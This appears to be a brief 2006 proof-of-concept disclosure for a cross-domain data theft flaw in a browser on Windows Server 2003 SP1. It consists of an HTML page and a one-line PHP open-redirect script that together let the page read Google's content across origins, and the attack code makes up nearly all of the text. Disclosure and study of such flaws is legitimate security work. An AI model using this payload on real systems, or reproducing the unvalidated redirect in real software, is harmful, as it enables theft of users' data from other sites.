The following proof of concept is incomplete realization of the idea to demonstrate its feasibility.
Windows Server 2003, Enterprise Edition, Service Pack 1, 15/06/2006

Upload the following files to Web server, go to i.html
------------------------- i.html -------------------------
&lt;html&gt;&lt;body onload=&quot;setTimeout(&#039;alert(o.object.documentElement.outerHTML)&#039;,1000)&quot;&gt;
&lt;object width=100 height=100 data=r.php?http://www.google.com/123456789 type=text/html id=o&gt;&lt;/object&gt;
&lt;/body&gt;&lt;/html&gt;
------------------------- r.php -------------------------
&lt;?php header(&quot;Location: &quot;.$_SERVER[&quot;QUERY_STRING&quot;]); ?&gt;

i.html displays content of Google Web page.